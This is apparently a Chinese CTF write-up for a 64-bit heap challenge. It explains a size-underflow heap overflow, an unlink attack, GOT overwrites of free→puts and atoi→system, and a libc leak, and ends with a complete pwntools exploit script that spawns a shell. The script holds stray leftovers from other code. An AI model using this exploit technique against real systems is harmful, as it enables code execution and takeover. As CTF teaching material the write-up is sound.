一道64位堆题,no pie ,Partial RELRO 可以写got表
add功能:最多申请7个堆块,小于0x400
show功能:
edit功能:
此处因为i为unsigned int 当size设为0时size-1为负1对i来说是很大的从而存在堆溢出
free功能:free堆块时会free掉ptr指针上的内容。
思路:由于,没有show功能,想法是利用堆溢出实现unlink将fd指针指向ptr处,同时将ptr上布置的free_got改成puts实现地址泄露功能,同时在ptr后面布置atoi的地址实现地址泄露和改atoi为system的功能。
具体步骤:
1)先申请四个堆块,其中堆块0中先将fd和bk指针设为目标指针,此时free掉堆块1再申请同样大小的堆块就会申请到同样的位置,这时利用size大小无限制的漏洞将堆块2的presize设为0xb0,本生size的inuse位设为0满足了unlink的条件
ptr=0x6020c8
payload=p64(0)+p64(0xb0)+p64(0x6020c8-0x18)+p64(0x6020c8-0x10)
add(0x90,payload)#0
add(0x0,'aaaa')#1
add(0x90,'cccc')#2
add(0x18,'dddd')#3
dele(1)
payload=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload)#1
2)此时free(2)实现unlink这时对堆块0进行edit就可以实现往ptr上写入数据的功能。
dele(2) #unlink
print("free_got-->",hex(elf.got['free']))
edit(0,p64(0)*2+p64(1)+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi']))
gdb.attach(p)
如下图ptr的对应位置已经被覆盖为puts和atoi的地址了(此处不知道为什么不会覆盖fd-0x8处的地址)
3)edit 堆块0实现修改free_got 为puts的功能(不写入最后一位是因为末尾会补上0),此时再调用dele(1)时就会变成puts(1),即泄露写入的atoi的地址,从而算出libcbase。
edit(0,p64(elf.plt['puts'])[:-1])
print("puts-->",hex(elf.plt['puts'])[:-1])
#gdb.attach(p)
dele(1)
gdb.attach(p)
atoi=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=atoi-libc.sym['atoi']
system=libcbase+libc.sym['system']
freegot已经被修改为puts的值了
4)修改填入堆块三处的atoi值使atoi变成system最后输入/bin/sh成功getshell
edit(3,p64(system)[:-1])
p.sendline('/bin/sh\x00')
完整代码:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./1')
libc=ELF('./ubun16-64.so')
mode =0
if mode == 0:
p = process("./1")
else:
p = remote("node4.buuoj.cn", 27341)
def add(size,content):
p.sendlineafter('option--->>','1')
p.sendlineafter('Input the length of the note content:(less than 1024)',str(size))
p.sendlineafter('Input the note content:',content)
def dele(id1):
p.sendlineafter('option--->>','4')
p.sendlineafter('Input the id of the note:',str(id1))
0x630dae55e0d5bf00
0x7ffff7a2d840
def show(id1):
p.sendlineafter('> Now please tell me what you want to do :','4')
p.sendlineafter('> Oreo ID :',str(id1))
def edit(id1,content):
p.sendlineafter('option--->>','3')
p.sendlineafter('Input the id of the note:',str(id1))
p.sendlineafter('Input the new content:',content)
ptr=0x6020C8
fd=ptr-0x10-0x18
bk=ptr-0x10-0x10
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload=p64(0)+p64(0xb0)+p64(0x6020c8-0x18)+p64(0x6020c8-0x10)
add(0x90,payload)#0
add(0x0,'aaaa')#1
add(0x90,'cccc')#2
add(0x18,'dddd')#3
dele(1)
payload=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload)#1
dele(2) #unlink
print("free_got-->",hex(elf.got['free']))
edit(0,p64(0)*2+p64(1)+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi']))
gdb.attach(p)
edit(0,p64(elf.plt['puts'])[:-1])
print("puts-->",hex(elf.plt['puts'])[:-1])
#gdb.attach(p)
dele(1)
gdb.attach(p)
atoi=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=atoi-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(3,p64(system)[:-1])
p.sendline('/bin/sh\x00')
#gdb.attach(p)
p.interactive()